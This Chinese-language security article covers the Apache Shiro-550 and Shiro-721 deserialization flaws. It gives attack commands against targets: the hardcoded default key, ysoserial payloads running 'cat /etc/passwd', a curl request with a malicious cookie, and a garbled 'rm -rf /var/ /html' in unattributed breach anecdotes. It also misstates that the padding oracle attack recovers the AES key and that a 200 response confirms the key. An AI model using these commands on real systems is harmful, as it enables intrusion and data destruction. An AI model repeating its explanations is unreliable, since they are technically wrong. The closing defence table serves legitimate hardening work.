主页 > 开源代码  > 

ApacheShiro反序列化漏洞全解析(Shiro-550Shiro-721)

ApacheShiro反序列化漏洞全解析(Shiro-550Shiro-721)
一、前言

Apache Shiro 是一个强大的 Java 安全框架,广泛用于用户认证、授权、加密和会话管理。然而,由于 Shiro 在某些版本中存在反序列化漏洞,攻击者可以通过特定手法实现远程代码执行(RCE),进而获取服务器控制权。

本文将深入剖析 Shiro-550 和 Shiro-721 漏洞,从原理、发现方法到实际攻击演示,确保读者从认知到实战都能掌握。


二、Shiro 反序列化漏洞概述 1. Shiro-550(CVE-2016-4437)漏洞原理 (1)漏洞影响范围

Apache Shiro <= 1.2.4

默认使用 CookieRememberMeManager 处理 rememberMe Cookie

(2)漏洞原理

Shiro-550 存在于 rememberMe 机制的处理流程:

用户登录后,Shiro 会将用户信息 序列化 -> AES 加密 -> Base64 编码 后存入 rememberMe Cookie。

服务器收到请求时,会 Base64 解码 -> AES 解密 -> 反序列化,恢复用户信息。

问题:Shiro 默认使用的 AES 密钥是硬编码的!

攻击者可以通过 爆破密钥,伪造一个恶意的 rememberMe Cookie,执行远程代码。

2. Shiro-721(CVE-2019-12422)漏洞原理 (1)漏洞影响范围

Apache Shiro < 1.4.2

(2)漏洞原理

Shiro-721 主要是由于 AES-128-CBC 加密的 Padding Oracle 攻击:

攻击者可以利用服务器返回的错误信息,逐步猜测加密数据,破解 AES 密钥。

拿到密钥后,攻击者可以 伪造恶意 Cookie,实现反序列化攻击。


三、漏洞发现与利用 1. 如何发现 Shiro 漏洞? (1)观察 Set-Cookie 头部

如果 HTTP 响应中包含:

Set-Cookie: rememberMe=deleteMe

说明目标网站使用了 Shiro,并可能存在漏洞。

(2)测试加密机制

复制 rememberMe Cookie。

修改 Cookie 内容,观察返回是否包含 deleteMe,验证加密是否有效。

2. Shiro-550 攻击实战 (1)爆破密钥

攻击者使用 shiro_attack.py 爆破默认密钥:

python shiro_attack.py --target http://example --keylist shiro_keys.txt

如果成功,返回密钥:

kPH+bIxk5D2deZiIxcaaaA== (2)生成恶意 Cookie

使用 ysoserial 生成恶意 Payload:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/hacked" | base64 > payload.txt

然后用 AES 密钥加密,并 Base64 编码,得到恶意 rememberMe Cookie。

(3)发送攻击请求 curl -X GET http://example -H "Cookie: rememberMe=<恶意cookie>"

成功后,服务器会执行 touch /tmp/hacked,证明被攻击成功。

3. Shiro-721 攻击实战 (1)Padding Oracle 攻击

攻击者利用 padding_oracle_attack.py 逐步猜测 AES 密钥:

python padding_oracle_attack.py --target http://example --cookie "rememberMe=xyz..."

如果服务器返回:

500 错误 → 说明猜错了,继续试。

200 OK → 说明密钥猜对了,成功解密!

(2)生成恶意 Cookie 并攻击 java -jar ysoserial.jar CommonsBeanutils1 "cat /etc/passwd" | base64

然后替换 rememberMe,发送攻击请求,服务器执行命令。


四、实战案例 1. 某知名 CMS 被黑

某 CMS 后台使用 Shiro-550,黑客利用默认密钥 kPH+bIxk5D2deZiIxcaaaA==,成功执行:

rm -rf /var/ /html

结果:整个网站首页被删光!

2. 金融网站数据泄露

黑客使用 Shiro-721 进行 Padding Oracle 攻击,解密 rememberMe,成功执行:

cat /etc/passwd

结果:服务器所有用户信息被盗取!


五、防御措施 防御措施适用漏洞说明升级 ShiroShiro-550 / 721升级到 1.4.2+ 版本,漏洞已修复修改默认密钥Shiro-550避免使用 kPH+bIxk5D2deZiIxcaaaA==,随机生成新密钥禁用不必要的反序列化功能Shiro-550 / 721使用 JSON 存储用户信息,而非 Java 序列化检测 Padding Oracle 攻击Shiro-721监控异常 Cookie,请求不同错误返回码
六、总结

Apache Shiro 反序列化漏洞是一个高危安全风险,攻击者可通过 爆破密钥(Shiro-550)或 Padding Oracle 攻击(Shiro-721),实现远程代码执行。

本篇文章从漏洞原理、发现方法到攻击演示,全面解析了 Shiro 反序列化漏洞,并提供了真实案例和防御措施。

如果你觉得本文对你有帮助,欢迎点赞、收藏,并分享给更多安全从业者!🚀

标签:

ApacheShiro反序列化漏洞全解析(Shiro-550Shiro-721)由讯客互联开源代码栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“ApacheShiro反序列化漏洞全解析(Shiro-550Shiro-721)